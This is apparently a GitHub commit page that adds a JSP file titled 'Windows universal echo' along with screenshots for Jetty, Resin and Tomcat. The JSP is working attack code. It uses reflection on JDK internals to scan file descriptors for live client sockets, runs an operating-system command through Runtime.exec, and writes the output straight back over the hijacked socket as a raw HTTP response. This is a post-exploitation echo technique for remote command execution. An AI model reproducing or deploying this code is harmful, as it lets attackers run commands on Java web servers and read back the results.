Skip to content

Commit aadc3fc

Browse files
author
feihong
committed
add Windows 通用回显
1 parent 02709d0 commit aadc3fc

4 files changed

Lines changed: 77 additions & 0 deletions

File tree

Windows/code/WindowsEcho.jsp

Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2+
<%
3+
//准备工作&初始化
4+
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
5+
field.setAccessible(true);
6+
7+
Class clazz1 = Class.forName("sun.nio.ch.Net");
8+
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress",java.io.FileDescriptor.class);
9+
method1.setAccessible(true);
10+
11+
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
12+
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
13+
constructor2.setAccessible(true);
14+
15+
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
16+
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
17+
constructor3.setAccessible(true);
18+
19+
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write",new Class[]{byte[].class});
20+
write.setAccessible(true);
21+
22+
java.net.InetSocketAddress remoteAddress = null;
23+
java.util.List<Integer> list1 = new java.util.ArrayList<Integer>();
24+
java.util.List<Integer> list2 = new java.util.ArrayList<Integer>();
25+
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
26+
27+
//第一次尝试
28+
for(int i = 0; i < 10000; i++){
29+
field.set(fileDescriptor, i);
30+
31+
try{
32+
remoteAddress= (java.net.InetSocketAddress) method1.invoke(null, fileDescriptor);
33+
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
34+
list1.add(i);
35+
}catch(Exception e){
36+
//pass
37+
}
38+
}
39+
40+
//延迟2s
41+
Thread.sleep(2000);
42+
43+
//第二次尝试
44+
for(int i = 0; i < 10000; i++){
45+
field.set(fileDescriptor, i);
46+
47+
try{
48+
remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, fileDescriptor);
49+
if(remoteAddress.toString().startsWith("/127.0.0.1")) continue;
50+
list2.add(i);
51+
}catch(Exception e){
52+
//pass
53+
}
54+
}
55+
56+
//取交集
57+
list1.retainAll(list2);
58+
59+
for(Integer fdVal : list1){
60+
try{
61+
field.set(fileDescriptor, fdVal);
62+
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
63+
64+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("echo \"It works!\"").getInputStream()));
65+
StringBuilder sb = new StringBuilder();
66+
String line;
67+
while((line = br.readLine()) != null){
68+
sb.append(line + "\n");
69+
}
70+
71+
String result = "HTTP/1.1 200 OK\nConnection: close\n\n" + sb.toString() + "\n";
72+
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
73+
}catch (Exception e){
74+
//pass
75+
}
76+
}
77+
%>

Windows/img/Jetty.png

58.4 KB
Loading

Windows/img/Resin.png

60.2 KB
Loading

Windows/img/Tomcat.png

60.2 KB
Loading

0 commit comments

Comments
 (0)